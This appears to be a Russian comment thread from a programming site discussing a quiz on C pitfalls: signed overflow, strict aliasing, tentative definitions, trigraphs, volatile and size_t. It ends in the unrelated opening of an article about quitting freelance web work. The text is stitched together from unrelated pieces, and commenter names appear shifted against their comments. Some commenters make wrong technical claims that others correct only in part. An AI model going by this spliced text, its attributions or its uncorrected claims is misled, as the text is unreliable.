экстерн работает на уровне линкера. а неполное определение на уровне компилятора.
gribozavr
Подобие ≠ эквивалентность.
Подобие в том, что если в одном модуле
int i;
в другом
int i =5;
то это одна переменная равная 5.
gribozavr
Теперь нужна соответствующая голосовалка:
В опросе «Какой язык программирования должен быть первым при изучении в школе?» я:

1. Проголосовал за Си и, после прочтения habrahabr.ru/blogs/cpp/136283/, уверен, что знаю Си
2. Проголосовал за Си, хотя не знаю Си
3. Проголосовал за другой язык
xanep
Вот интересный пример на С++:
int a = 2;
unsigned int b = 4;
cout << a - b << endl;

Однажды пришлось помучаться :(
gribozavr
Usual arithmetic conversions есть и в Си. Правда нет ни перегрузки, ни вывода типов и придётся результату тип вручную вписать.
Mrrl
Как-то неочевидно, на мой взгляд. Тем не менее, спасибо за то, что подсказали как гуглить. Уже просветился)
gribozavr
Да, часто спрашивают на собеседованиях. Хотя основное, что здесь надо знать — все преобразования с unsigned int ведутся к этому типу.
B08AH
Допустить такую ошибку очень легко даже зная что результат операции будет unsigned int. Так что основное что надо знать — это то, что компилятор выдаст варнинг и что варнинги надо внимательно читать.
legrus
Студия сдержанно промолчала.
DmitriyH
интересные дачки. к сожалению, верно ответил только на 9 из 12. пример с int заместо size_t выбивается из общего ряда. ошибка очевидна, но кажется, что не эта мелочь имелась ввиду. ну у кого длина строки не влезет в int?
B08AH
За подобный код разработчика надо увольнять. Можно сразу при коммите/чекине делать автоматизированый анализ и в случае обнаружения генерить письмо ПМу ))
NickLion
Давайте конкретные паттерны и будут варнинги в компиляторе. Только знаете в чём проблема? Этого не будет, потому что все приведённые в статье конструкции используются во вполне корректном коде.
B08AH
1 — уже был коммент, уточните что i — глобальная.
2, 3, 6, 9, 10, 11 — если этого не понимать, то надо писать на java
4 — грабли будут на любом языке, хоть на javascript
5 — задумался ))) хотя и очевидно
7 — даже из буханки можно сделать троллейбус, но зачем? очевидно что так делать нельзя, а знать как конкретный компилятор в вакууме оптимизирует этот код — не нужно.
8 — буханка + gcc даёт вонрингами по рукам
12 — относится не только к C. боянчик, хотя очень интересный.

вывод — по сравнению с C++ — C — ясный и понятный язык.
NickLion
7. В любом коде на Си есть приведения типов указателей. Кто даст гарантию, что они корректны? И далеко не всем очевидно, что так делать нельзя. И не обязательно передавать указатели вот так явно в функцию, их можно доставать из структур ланных или ещё как-то. К тому же, не все компиляторы используют sctrict aliasing при оптимизации и поэтому многие прораммисты даже не догадываются об этом (пока им не приходится портировать свой код на более строгий компилятор).

8. В макросах достаточно часто используются запятые. Замените константы на вызовы функций и варнинги исчезнут.
NickLion
И да, не согласен с выводом. Поясню: а по сравнению с malbolge С++ вообще кристально ясен. Моё мнение: в Си слишком много UB и встроенных правил (те же usual arithmetic conversions).
B08AH
забыл добавить, что имхо на C как раз и пишут из-за того, что можно достичь максимальной производительности используя особенности CPU напрямую (9, 10, 11) и/или иногда перекрывающиеся области памяти (3)
если этого не нужно — на C писать тоже не стоит.
NickLion
9, 10, 11. То есть, вы считаете, что если сложение чисел со знаком реализовано через add на x86, то вы можете рассчитывать на свойства переполнения чисел со знаком (конечно, расставив нужные макросы условной компиляции «только x86»)?
B08AH
x86, PPC, M68K, ARM, можно ещё добавить Z80 — мне хватает ))
B08AH
Тогда выражение (x+1)<x истинно тогда и только тогда, когда в x+1 происходит переполнение, так?
lostmsu
что есть x?
Edro
Извиняюсь. int x;
gribozavr
я честно говоря не очень понимаю что вы хотите доказать.

int x;
x = ....;
if ( (x + 1) < x ) { printf(«here\n»); }

для 32-битного компилятора будет истинно при x = 0x7FFFFFFF
Edro
т.е. хочу сказать что бесполезно рассматривать сферические примеры в вакууме (особенно в случае C).
Ockonal
Это вполне конкретный пример (определения того, а не произойдёт ли переполнение при инкременте), который был написан для twos complement машин и работал до тех пор, пока его не скомпилировали с оптимизатором, который пользуется правом, данным ему по стандарту.
xanep
А Вы знаете такой оптимизатор, который умеет определить ситуацию, что в данном случае будет UB, чего-то там соптимизировать, но при этом не предупреждает программиста об этом UB?

Я пользуюсь Clang и GCC, и оба из них вполне себе предупреждают о подобных местах в коде.

Насколько я могу судить, компилятор от Intel тоже такие предупреждения выдаёт.
gribozavr
Оптимизатор не обязан это делать. Хорошо что в данном случае это выражение соптимизировалось в clang, у которого есть AST с выражениями и номерами строк. Но если какое-то другое выражение сворачивается на уровне LLVM (например, посмотрите вот этот доклад www.youtube.com/watch?v=r3ic-IHJTuA&list=PL970A5BD02C11F80C&index=12&feature=plpp_video и какие выражения LLVM вскоре будет уметь сворачивать) то на уровне LLVM даже может не быть нужной информации о строках. Или хуже того, такое выражение появится в результате двух уровней инлайнинга и трёх шагов раскрутки цикла: просто нет такой одной строки, где это выражение записал программист.
vitmeat
Это я не то написал. Оптимизатор — это компилятор, конечно. А остальное — вопрос технологий.
Edro
Так в чём суть вашего ответа? Вы спросили существует ли компилятор, который [...]. Да, существует. И какая разница, вопрос технологий или нет. Лучшего у нас нет. А то, что теоретически можно было бы и выдавать диагностику — к вопросу не относится.

Wolong
Подождите. Clang 3.0, как раз, навыдавал кучу предупреждение об UB на ваших примерах. GCC 4.6.2 тоже. То есть, я понимаю, конечно, что существуют абстрактные примеры, когда вот тут пойдёт всё через LLVM и кто-то что-то не заметит… Но я думаю, в реальности, достаточно сложно и неестественно сгенерировать такие примеры.
luminox
Ещё раз, предупреждения появились потому что тут всё сворачиваемое выражение видно сразу на этапе обработки AST. Давайте я вам приведу простой пример. LLVM умеет сворачивать x*2/2 -> x. Но не потому что программисты это пишут в коде, а потому что в результате инлайнинга или вынесения общих подвыражений такое часто получается.
gribozavr
А теперь я вам говорю, что компилятор имеет право (и clang, например, пользуется этим правом) сказать что (x+1)<x всегда false, потому что или это false по стандарту или тут undefined behavior и тут false потому что clang'у так хочется.
Restorer
и такое бывает.
печально что clang не показывает ворнинг в таком случае (gcc, к примеру, должен).

собственно что я говорю — сферические примеры в вакууме ничего не дают.

есть конкретные вещи в которых это удобно и оправданно (написание эмуляторов, например).
gribozavr
Это не сферические примеры. Это настоящий пример, в котором программист рассчитывал, что раз сложение реализуется командой add, то и переполнение в Си будет такое же. Пишете эмулятор и нужно переполнение чисел со знаком mod 2^n — напишите inline asm.
gribozavr
что-то мне наш спор начинает напоминать анектод про суровых сибирских мужиков и японскую бензопилу.
нормальный здравомыслящий программист в нормальном не сфарическом коде так никогда не напишет. даже если и напишет — компилятор он умный, он скажет. программист возьмёт и исправит.

эмулятор, кстати, давно написан, работает на x86, ARM и PPC. компилируется gcc или visual studio, естественно с оптимизацией (насколько я помню, ни одного ворнинга).

inlne asm использовать вредно. во-1 кроме x86 есть и другие архитектуры, а во-2, на современном процесоре писать руками код, лучше чем тот, который сгерерирует компилятор нецелесообразно по времени.

это я к чему — если не пытаться сломать компилятор, то всё будет работать именно так, как рассчитывается и никак по другому.

если же заниматься не пойми чем, то конечно, ничего не будет работать правильно, пиши хоть на ассемблере, хоть на C#
Restorer
> (насколько я помню, ни одного ворнинга).

Скомпилируйте clang -ftrapv и запустите.

> во-1 кроме x86 есть и другие архитектуры

Спасибо Кеп, я этот комментарий пишу с ARM ноутбука.

> во-2, на современном процесоре писать руками код, лучше чем тот, который сгерерирует компилятор нецелесообразно по времени

inline функция c одной командой add в inline asm. Я вам не предлагаю переписать весь код на asm, я вам предлагаю показать в коде явно какая семантика вам нужна вместо того, чтобы надеяться на непонятно что.
gribozavr
Эмс… А чего вы хотите от -ftrapv? Он вам генерирует проверку на переполнения и поэтому не предупреждает, о том, что при статическом анализе предполагается, что переполнений не происходит.
Restorer
Да, именно. А (b<0? a+b>a: a+b<a) — контроль переполнения при сложении. Как его вообще иначе можно написать (предполагая, что a и b — уже числа максимальной разрядности, например, long long)?
gribozavr
Именно. Только компилятор сворачивает (x+1)<x в false, а так ничего, контроль.
Restorer
А на какой из современных архитектур знаковая арифметика работает по-другому?
В одном из проектов мне нужно было много работать с числами по модулю 1 (арифметика углов), так использование в качестве значений целых чисел было самым очевидным подходом (32 бит точности хватало с головой — это 1/3000 угловой секунды). Теперь, конечно, подумаю, не переписать ли его на unsigned long…
gribozavr
Нужна семантика переполнения по mod 2^n — используйте unsigned.
Restorer
8/12. Хрѣново (упустил 1, 2, 7, 12).
Хотя я такими дебрями стараюсь не писать, что такое size_t, знаю, и как ведёт себя целочисленная арифметики на IBM-совместимых машинах — в курсе, Позор только, что 12 неправильно ответил.
Restorer
Простите уж за ошибки. Что запостил энтером — того не вырубишь топором.
gribozavr
… попробуйте рубить модератором.
mikhanoid
Да какой позор? Авторы стандарта Си сами о большинстве случаев UB узнали не с первого раза :), это же не априорные вещи. А появившиеся в результате практики программирования с различиями в арихитектурах компиляторов и процессоров.
gribozavr
Дело не в стандарте, а в том самом поведении целочисленной арифметики на IBM PC, которое я вроде бы знаю.
mikhanoid
В данном случае UB означает, что компилятор может генерировать разный код. Дело не в самой арифметике, а в том, что некоторые компиляторы могут вставлять проверки на знаковое переполнение, некоторые могут не вставлять.

x86 процессору-то по барабану, на самом деле. Он выполнит MIN_INT/-1 и получит 0x8000..., установит флаг O и всё будет вполне себе определено.

UB тут означает, что компилятор может вставить INTO для проверки переполнения, может проверить возможность переполнения другим кодом, может ничего не делать, на переполнение может реагировать сам процессор через генерацию исключения и т.д. Но это всё не должно, теоретически, для программиста на Си быть сюрпризом, ибо Си — это такой удобный ассемблер, а когда мы пишем на ассемблере мы же знаем, что целочисленное значение — это совсем не представитель кольца целых чисел.
gribozavr
10ый сразу входным аргументом намекнул, что засада в переполнении. 11ый и 12ый сразу как то сами собой стали рассматриваться и с этой точки зрения.
если бы 10ого не было, то я б в них не понял бы, в чем ошибка.

тут кстати есть такой нюанс — типа да, каким то приемом из языка не пользовался никогда или с каким то конкретным багом не сталкивался, приходишь на собеседование, задают вопрос, тыкву чешешь и даешь неправильный ответ. потом приходишь домой, компилируешь в различных позах и все становится очевидно в течение нескольких минут. а поздно, интервьюер уже сделал о тебе мнение, что ты язык не знаешь и вообще безнадежен…
mikhanoid
С другой стороны с Си и, тем более, Си++ всегда есть куда развиваться. Можно изучать их годами и постоянно открывать что-то новое.
gribozavr
Паять приёмники?
gribozavr
А в чём собственно проблема? Юный падаван всегда может использовать опции -Wall -pedantic (в нормальном компиляторе), и ему с удовольствием при обработке добрых 2/3 приведённых примерах с удовольствием подскажут, где находится лес. Ну, и про запятую у Вас не правильно написано. Запятая — она как раз порядок не гарантирует, и порядок выполнения операторов, записанных через запятую, зависит от компилятора. Из этой же серии всякие радости с f(a, a+=1, a-=1). Как бы…
Restorer
мне подсказали, что для gcc нужно юзать не просто -Wall, а -W -Wall
gribozavr
Запятая включает sequence point. Просто запятая при вызове функции — это не оператор запятая.
Restorer
Точно, моя вина… Почему-то решил, что со времён ANSI C ничего не поменялось в этом вопросе.
gribozavr
Ещё одно злобство Си (если стараться делать слишком красивые комментарии), пусть и не очень актуальное в наши дни:

#include "stdio.h"

void main()
{
// Эта программа должна вывести /
// первые 8 чисел Фибоначчи: /
// 1, 1, 2, 3, 5, 8, 13, 21. /

// Определим первое и второе /
// значение ряда - это единицы: /
int first = 1, second = 1;

// Сразу же выведем первое число: /
printf("%d, ", first);

// Цикл "делать следующее, пока /
// второе значение меньше 20". /
while (second < 20) { // проверили/
// Следующее - это сумма /
// первого и второго. Вычислим /
int next = first + second;

// Теперь надо записать второе /
// значение в первое, а следую- /
// щее - во второе, так ведь ???/
first = second;
second = next;

// Выведем на экран первое число/
printf("%d, ", first);
}
// Выведем последнее значение ряда/
printf("%d\n", second);
}


Все понимают, почему эта программа выводит не ожидаемый ряд «1, 1, 2, 3, 5, 8, 13, 21», а неожиданный «1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 20»? И почему это проявляется не у всех?
mikhanoid
Н-да. А в предпросмотре не было этих переносов строк, а всё аккуратненько отображалось :(
Mrrl
$ cc 1.c -o 123
1.c: In function ‘main’:
1.c:25:53: warning: trigraph ??/ ignored, use -trigraphs to enable [-Wtrigraphs]
Для продолжения нажмите любую клавишу...

$ clang 1.c -o 124
1.c:3:1: error: 'main' must return 'int'
void main()
^
1 error generated.
Для продолжения нажмите любую клавишу...

поправляем...

$ clang 1.c -o 124
$ ./124
1, 1, 2, 3, 5, 8, 13, 21
Для продолжения нажмите любую клавишу...

$ ./123
1, 1, 2, 3, 5, 8, 13, 21
Для продолжения нажмите любую клавишу...

gribozavr
Ну да, эффект заметен как минимум в OpenWatcom и Lcc. А gcc, кстати, прямо игнорирует требование стандарта (впрочем, я с ним в этом согласен :)
Mrrl
увы,
только 50% знания Си, хотя более половины примеров в жизни неприменимы.
Надо стараться писать «безопастный» код
gribozavr
по поводу (1)

$ cc 1.c -o 111
1.c: In function ‘main’:
1.c:6:9: error: redeclaration of ‘i’ with no linkage
1.c:5:9: note: previous declaration of ‘i’ was here
Для продолжения нажмите любую клавишу...

$ clang 1.c -o 111
1.c:6:9: error: redefinition of 'i'
int i = 10;
^
1.c:5:9: note: previous definition is here
int i;
^
1 error generated.

Mercury13
Все примеры — отдельные файлы исходного кода. Откуда у вас в сообщении компилятора In function ‘main’?

Так и знал, что народ будет в это вступать. Вы уже не первый, судя по каментам :)
Mercury13
понял, что вы имели ввиду, извините. Когда переменная глобальная то не ругает…
lightman
компилятором под vxWorks и солярис проверил, тоже не ругается на глобальные.
однако стало непонятно почему глобальная переменная так объявляется без ошибки, а локальная с ошибкой? особенности кода компилятора?

vs же ругается одинаково и на локальную и на глобальную.
mikhanoid
Да объявлений глобальных может быть сколько угодно в месте объявления не выполняется никаких операций с памятью (собственно и места то никакого нет). (это если в одном модуле, если в разных то следует добавлять extern )

А вот в случае локального объявления (даже без инициализации) требуется выделить место на стеке и тут уже «бяда-бяда огорчение» ему что 2 раза там место выделять? вот и ругается.
Mercury13
И вообще «локальное объявление» ===«определение» только не инициализированное
mikhanoid
получается что отличается синтаксис объявления локальной переменной и глобальной.
А должны они отличаться лишь в областью видимости. По определению.

ЗЫ тут мне начинает казаться, что люди чьи то баги оправдывают, как будто так и должно быть.
B08AH
нет не отличается.
Подойдем с другого конца переменную локальную можно только определить.

Глобальную переменную тоже можно определить (точнее нужно и только 1 раз), но кроме того ее можно и декларировать, те намекнуть компилятору что будет где то далее она определена.

Только и всего. Проблемы начинают возникать когда программеры начинают про это забывть и думать что объявление и определение это одно и тоже
lightman
есть подтверждение этого мнения?

кстати если у функции есть объявление, но нет определения, то попытка вызвать ее выдаст соответствующую ашыпку. однако если из первого примера удалить то что автор посчитал определением, то все равно будет работать. определение переменной вполне себе содержится в первой строчке. не будет лишь инициализации.

мое мнение, что для переменных объявление и определение — это одно и то же.
не смог скачать стандарт, попробую из дома. нашел вот на приближенном к первоисточнику ресурсе.

www.cplusplus.com/doc/tutorial/variables/
For example, if we want to declare an int variable called a initialized with a value of 0 at the moment in which it is declared, we could write:
int a = 0;

вот они говорят, что это декларация, то бишь объявление. включающее инициализацию.

о
akalend
ISO/IEC 9899:1999, 6.9.2 p 2

A declaration of an identifier for an object that has file scope without an initializer, and without a storage-class specifier or with the storage-class specifier static, constitutes a tentative definition. If a translation unit contains one or more tentative definitions for an identifier, and the translation unit contains no external definition for that identifier, en the behavior is exactly as if the translation unit contains a file scope declaration of that identifier, with the composite type as of the end of the translation unit, with an initializer equal to 0.

int i1 = 1; // definition, external linkage
int i1; // valid tentative definition, refers to previous
lightman
итак, все встало на свои места.

пример использования этой главы стандарта:
файлы
source1.c:
int i = 10;

source2.c:
#include «source1.c»
int i;

source3.c
#include «source2.c»
int i;

в момент компиляции файла source3.c все три файла представляют собой т.н. translation unit. (почитал, что это такое в этом стандарте).

в файле source1.c — определение переменной с инициализацией, получается, что, понятия «объявление переменной» не существует. объявление(declaration) согласно стандарту есть только у функций.
в файле source2.c — «неполное определение», которое использует int i=1; из файла source1.c как external (не навело это слово на мысль?)
в файле source3.c такое же «неполное определение», которое также использует ту же переменную из source1.c (слова one or more как бы намекают, что неполное определение в файлах состоящих в translation unit, может присутствовать более одного раза).

в случае, же если в файле source1.c определение переменной затереть, то подразумевается, что переменная i = 0 по умолчанию, и одна и та же для файлов source2.c и source3.c.

смысл затеи понятен — прямо указать откуда заинклюдить все нужные определения.

по примеру автора попрошу объяснить сакральный смысл зачем бы это могло быть использовано. «это» — два определения в пределах одного файла.
и кстати даже интересно, каким образом это породило багу в коде?
кто то увидел верхнее определение и подумал, что оно по умолчанию 0, а оно оказалось 10?

ЗЫ и все таки баг компилятора.
mikhanoid
Большинство подобных UB выявляются компиляторами (clang лучше чем gcc) и статическими анализаторами (чем дороже тем эффективнее от cpplint до prevent)

2 и 7 могут проявится только при высоком уровне оптимизации (больше -O2 в gcc), когда компилятор начинает делать небезопасные оптимизации. А, вообще, компиляторы всегда стараются придерживатся консервативной стратегии по умолчанию.

Ответил неправильно на 5 из 12 в основном на вопросы касающиеся переполнения.

на 4й вопрос есть еще один ответ. если в коде выше будет определен #define NDEBUG, то ассерты будут выключены и функция может получить 0.

Автору так же, наверное, стоило бы добавить что таких «темных мест» в c++ гораздо больше ;)
bitterman
Мда. Я не знаю C и люблю python теперь гораздо сильнее.
gribozavr
Да ладно тебе. Автор привел примеры «как не надо писать код», не спорю некоторые могут появиться в виду неопытности или не знания особенностей языка. А уж специфика оптимизаторов эт вообще к языку отношения никакого не имеет.
Боюсь если я сейчас сяду писать на питоне, то тоже нагорожу огорода и тоже будут примеры «как не надо писать на питоне»
mikhanoid
У питона изначально другой подход:

Simple is better than complex.
Complex is better than complicated.
Readability counts.
If the implementation is hard to explain, it's a bad idea.

И так далее (http://www.python.org/dev/peps/pep-0020/)

Понятно, что Perl-программист может на любом языке написать программу на Perl, но в питоне это ему будет сложнее всего, и это я считаю очень важным достоинством языка.
mytribune
Да ладно. У Питона те же проблемы с арифметикой, например. Просто некоторые проблемы вызваны тем, что работа идёт на компьютере, а не в идеальном абстрактном мире математики.
mytribune
Да сколько можно. Это минимальные wtf-примеры. Все примеры взяты из реальных программ, просто уменьшены, сложные типы заменены на встроенные и так далее, поэтому конкретно такой код кажется ненастоящим. Но настоящий код просто нельзя поместить в статью — никто с этими огромными листингами бы не разбирался.
smind
Это глупости программерские. Работал 2,5 года с индусами и японцами. И тоже видел много разного кода из реальных программ. Если програмер не понимает чего он делает, то он хреновый программер.

Если мои попробуют в проекте написать что то подобное 3, или им по архитектуре понадобиться strlen для 2Gb строки (или просто списки число которых не поместятся в 2G и они по ним будут циклами бегать), или написать чтото подобное 6 — получат «Review Failed» по рукам, и я даже разбираться не буду че там defined, а что undefined.

Если код такой что требуются знания тонких материй чтобы понять как он работает (исключая случаи вырожденной оптимизации) — то это говнокод, и совершенно не важно какой там использовался язык.

Не умаляю ваших заслуг, но так поиграть мышцами перед очередным кандидатом на собеседовании — годиться. Ну а реальность она на то и реальность. И быстро пофикшенное, косяком не считается :).
mytribune
Видимо вы ничего не поняли.

Суть примера 3 не в том, что в программе строки 2 Gb и по ним циклами бегают. Хотите я вам аналогичный пример приведу где размер матрицы вычисляется в int?

Суть примера 6 не в том, как вывести строку в обратном порядке, а в типовых граблях циклов с беззнаковым счётчиком.
FYR
я про пример 5 речь с 2 Gb вел. Но с трудом представляю как можно считать 2Gb матрицы не представляя диапазон интов. Тут просто вопрос кому доверили такое писать.

ну а типовые грабли на то и типовые, что опытный программер на них уже наступил.

Странно, почему нету баянчика с бесконечным циклом при увеличении float на 1
akalend
С матрицами — элементарно. На 32-битной машине код спокойно работал годами. Потом купили 64-разрядную так как потребовалась больше размерность.
smind
ну эт боян боянистый, спорим что косяки со счетчиками у них при этом были у них не самой большой проблемой ;)
OlegD
Я вам даже больше скажу, вот прототип функции MPI_Send, на которой весь HPC держится:
int MPI_Send(void* buf, int count, MPI_Datatype datatype, int dest, int tag, MPI_Comm comm)

int count. И эти интерфейсы разрабатывали не кто-то-там, а комитет, в который входят все именитые вендоры.

smind
MPI 2.2 — сентябрь 2009.
B08AH
> пару гектар за раз отсылать — моветон

?! Нужно переслать матрицу. Зачем её бить на несколько посылок, чтобы скорость передачи уменьшить за счёт нескольких синхронизаций разве что.
FYR
необозначенный int равен разрядности указателя, разве нет?

то бишь на 64х-битной платформе int = int64
FYR
Нет (например, на x86-64 int 32-разрядный). Единственный целый тип, который гарантированно не меньше указателя — intptr_t.
B08AH
Так MPI_Datatype же не для красоты предусмотрен :) Там можно хоть террабайт задать при помощи count=1.
FYR
Спасибо, я знаю. Но существующему коду от этого не легче.
B08AH
Почему Вы думаете, что не легче? Это же интерфейс для системы, которая должна работать на куче различных архитектур. Ну написали бы туда uint64_t count и получили бы целую кучу радости по отладке поддержки длинных чисел на всевозможных процессорах, которые не умеют 64-битными значениями оперировать. Да ещё нужна была совместимость с Fortran.

А тут выбрано вполне адекватное решение. Переносимое, простое, более гибкое, которое может работать даже на 16-битовых системах.

То есть как бы… вот… UNIX Way.
gribozavr
Почему туда нельзя написать size_t?
B08AH
Так Fortran же. Он только об int знает. Кроме того, как мне кажется, это плохо для переносимости. Потому что MPI-программы пишут не профессиональные программисты, а научные коллективы. У них другие идеалы красоты, поэтому они даже и не почешуться, чтобы выяснить пределы size_t на конкретной платформе и учесть их. А тут int он и есть int. Он даже в большинстве случаев остаётся 32-битовым.
xeioex
Да что ж меня на инфинитивы-то тянет так!?
stroncium
Fortran знает про integer(C_SIZE_T).

> поэтому они даже и не почешуться, чтобы выяснить пределы size_t на конкретной платформе и учесть их

Как раз наоборот, если использовать size_t для представления размеров, то не нужно ничего выяснять и учитывать.
angry_elf
в питоне тоже предостаточно wtf
помню, я очень удивился, когда программа обрабатывающая паралелльно в 4-х потоках независимые массивы данных, то есть без конкуренции, выполнялась в 3 раза медленее, чем такая же программа но с паралелльной обработкой в один поток. При этом дело происходило на четырёхядерной машине.
А ещё радуют всякие оптимизации на 70% заменой цикла вида for a in somelist на i = len(somelist) while(i > 0) i--

Это я не про то, что питон плохой. А про то, что для работы с ним надо всё же знать, что там под копотом. Так же как с С и С++
FYR
да не это просто дело привычки. Иногда смотришь в код — не понимаешь что же тебе в нем не нравиться но пятой точкой чуешь что где то подвох.
Ну и потом это таки низкоуровневый язык и чето я не припомню там много всяких «undefined» приведеные выше из разряда «не надо так делать, а если уж сделали ...».

Ну например ТС с лукавил в примере №2. Т.е. прога падать при разыменовании нуля не должна, но при этом оптимизатор таки должен был вынести блок if :).

Знатокам железа: «я не знаю архитектуру PC»: Пример №1: в DVI порт втыкаем пъезозажигалку и нажимаем кнопку: сгорит память на видюхе? или только проц?
angry_elf
По хорошему, должна сгореть гальваническая развязка. Но если её нет, то…
mikhanoid
Вот чувствую, многие собеседующие воспримут статью, как руководство к действию.
gribozavr
А я все правильно ответил. Что я делаю не так?
А если серьезно, то полный бред — в статье указаны проблемы с переполнением и floating point, которые вполне задокументированы, а остальные примеры проблемного кода видимо взяты из записок сумасшедшего. Это ж надо писать, например, такое:
long a = 10;
f((int *) &a, &a);
Я бы тоже полюбил питон, если б думал, что это в си нормальный подход.
FYR
Комментарии не читай @ сразу отвечай. Все примеры взяты из реальных программ, но упрощены, потому что с огромными листингами никто бы не возился.

7. В любом коде на Си есть приведения типов указателей. Кто даст гарантию, что они корректны? И далеко не всем очевидно, что так делать нельзя. И не обязательно передавать указатели вот так явно в функцию, их можно доставать из структур данных или ещё как-то.
gribozavr
> И далеко не всем очевидно, что так делать нельзя.

Тогда этим всем надо посидеть еще в junior-coderах и почитать книжки.
FYR
Название книги, где объясняются правила strict aliasing'а, в студию!
gribozavr
ну гугол говорит вот:
habrahabr.ru/blogs/cpp/114117/ «Стандарт: N1124, 6.5(7)»

а как связана проблема strict aliasing и собственно си? Сначала увидели возможности оптимизации, заюзали ее, потом бац увидали косячок… ну значит придумаем правило для оптимизации. Кому то очевидно кому то нет.

Так можно гораздо более жизненные примеры привести с не volatile флагом и циклом ожидания его в соседнем потоке
FYR
Книгу давайте. Про алисинг нельзя гуглить если не знать что (1) он такой существует и (2) как он называется. Таким образом про алиасинг гуглят только те, кто уже в курсе. Если у джуниора код как-то не так себя ведёт, он может только у кого-то более опытного спросить и внезапно узнать про алисинг или прочитать в книге. Так что давайте книгу.

> а как связана проблема strict aliasing и собственно си?
Это неотъемлимая часть стандарта Си, собственно.

> Сначала увидели возможности оптимизации, заюзали ее, потом бац увидали косячок…

Не понял.

> примеры привести с не volatile флагом и циклом ожидания его в соседнем потоке

О, вижу ещё драконов. Можно по-подробнее, что там с volatile и какие гарантии, по вашему мнению, он даёт в многопоточных программах?
gribozavr
Гарантию вам даст только страховой полис (с).

А volatile частично отключает оптимизацию — запрещает оптимизировать блоки использующие переменную так она может изменяться из нескольких потоков…

Например оптимизатор может выкинуть блок цикла заменив условие цикла на if если увидит что внутри него счетчик цикла не меняется. volatile запрещает это делать.
Если я правильно помню еще отключается кеширование значения переменной и вынуждает каждый раз читать его.
FYR
> Если я правильно помню еще отключается кеширование значения переменной и вынуждает каждый раз читать его.

Вот это (и аналогично про запись: нельзя заменить несколько последовательных записей на одну последнюю) единственное, что записано в стандарте. Про потоки там ни слова.

Вы ничего не сказали про потоки, поэтому скажу я. Для синхронизаций, критических участков и lock-free алгоритмов использовать volatile нельзя, потому что компилятор и ЭВМ могу переупорядочить (и переупорядочивают) записи/чтения volatile и не-volatile переменных. То есть, запись, которая стоит после точки синхронизации, сделанной на цикле из volatile, может переехать в точку до этого цикла.
gribozavr
Компилятор не имеет права переупорядочивать записи в volatile переменную. Потому что, эти переменные нужны для работы с MMIO. А там переупорядочишь записи и всё, взорвётся винчестер :)

Локальный порядок доступа для volatile-переменных гарантируется. Другое дело, что в многопроцессорной системе уже всё перемешивается и надо использовать всческие барьеры памяти.
gribozavr
volatile и не-volatile друг относительно друга — имеет. Это имелось ввиду.
B08AH
Глупость написали. Только идиот сразу после того, как узнает про потоки не дочитав главу до конца пойдёт лепить флаги.
gribozavr
А про джуниора. Ну вот я нутром чую что не стоит передавать по указателю два адреса. И использовать long* и int* одновременно и использовать два разных типа там где достаточно одного
mikhanoid
В пятом примере еще есть потенциальный момент, если передана строка без нуль-терминального символа.
Но решение у этого уже не тривиальное.
gribozavr
это нетривиальное решение называется strnlen.

кому только в голову может придти использовать более чем двухгигабайтные строки…

ЗЫ и кстати да, с переполнением это ошибки не от незнания С, то есть это не ошибка непостредственно кодера, это архитектурная ошибка, если результат вычисления может непоместиться в переменную.
mikhanoid
Пункт 5 спорен. В реальном коде это не ошибка (и то же Qt вполне себе использует int для всевозможных функций размера). Разница становится критичной, только если строки в 2 ГиБ — это нормальный кейс. Впрочем, лично я предпочитаю использовать size_t.

Пункт 2 понравился :)

10 тоже интересный. Я считал, что поведение как в 9.
gribozavr
Сегодня нечто не может быть 2 Gb, а завтра — вполне. Вот прямо сейчас разработчики OpenMPI в списке рассылки разгребают проблемы, связанные с тем, что там размеры объектов в int вычисляются. А ведь раньше такие огромные сообщения «нормальным кейсом» не были.

Qt использует int для размеров и создаёт этим кучу проблем для кода, который в остальных местах использует size_t. По-моему очень спорное решение, не ясно какая была мотивация.
По мотивам статьи dmalinovsky «Жизнь во фрилансе глазами программиста».

Сейчас очень много пишут о том, что ждёт web-разработчика, когда он уйдёт во фриланс. Пишут о том, как протянуть первое время без заказов, о том, как потом бороться с наплывом работы, а затем, как побороть собственную лень. Однако, я до сих пор не встречал статьи о том, что же даёт фриланс, когда ты решаешь прервать круговерть из заказов, предоплат, поиска новых клиентов, помощи старым клиентам и всего остального, что составляет жизнь простого фриласера.


Имею ли я право писать такую статью, пожалуй решать вам, хабрапользователи. В своё же оправдание скажу, что, после примерно года с хвостиком работы в качестве web-разработчика, я ушёл в свободное плавание на просторы web-рынка и проплавал без малого два с половиной года, без круга и спасательного жилета.

И так, что же побудило меня уйти в офисную жизнь web-разработчика или, как многие говорят, в работу на дядю.

Во-первых


Я устал. На каждые восемь часов за компьютером в день, от двух до четырёх часов уходит на общение с клиентами, и эти два-четыре часа стоят мне шести проведённых за коддингом.
Очень часто, устраивая себе выходной, мозг проедала маааленькая мыслишка, о том, что висит большааая куча работы. Это правильно, когда у фрилансера есть работа про запас, но это сильно мешает отдыхать. Очень.

Во-вторых


Я программист, web-мастер, я не плохо верстаю, владею чистым js на приличном уровне, легко вхожу в чужой код и умею массу других полезных для web-мастера дел, от рисования кнопок до проектирования крупных систем. Более того, я люблю это делать (хотя всем говорю, что мне моя работа не нравится… лукавлю я).
А ещё я умею показать клиенту, что я действительно умею делать всё выше описанное. Умею уловить суть его задачи и, помимо решения, предложить дополнения. Умею зацепить клиента. Ну и конечно назначить цену за свою работу и не стесняться эту цену спросить, если работа сделана. Но, в отличии от прямых обязанностей web-мастера, я терпеть не могу, нет ну просто терпеть не могу всё это делать. Работа с клиентом выпивает из меня все соки, наверное потому, что я к работе подхожу с душой, которая у меня падка на негатив, и если от работы с компьютером я получаю отличный заряд в эту самую душу, то клиент случается и наплевать туда может.

В последних


Наверное могли бы быть и «В третьих» и «В четвёртых» и так далее, но для меня, пожалуй, самым важным поводом было то, что я перерос фриланс. Все мы амбициозны и активны. Когда приходит время, мы просим прибавки к зарплате, новую должность, просим стимул, который бы показал нам, что мы профессионально выросли. Чтобы собственное мнение о личностном росте, было подкреплено внешними проявлениями.
В итоге, приходит мысль о том, что нужно что-то менять. Что угодно, лишь бы не стоять на месте. Во фрилансе мы в основном предоставлены сами себе, а человек существо социальное, таким образом, после определённого срока работы во фрилансе (да и в любой не коллективной работе), человек перестаёт расти над собой. Это плохо. Если вы перестали расти над собой, то объявления вроде такого: «Создам web-страничку во FrontPage, опыт работы 30 лет из своих 50», которые порой можно встретить на сайтах объявлений — это ваше будущее.

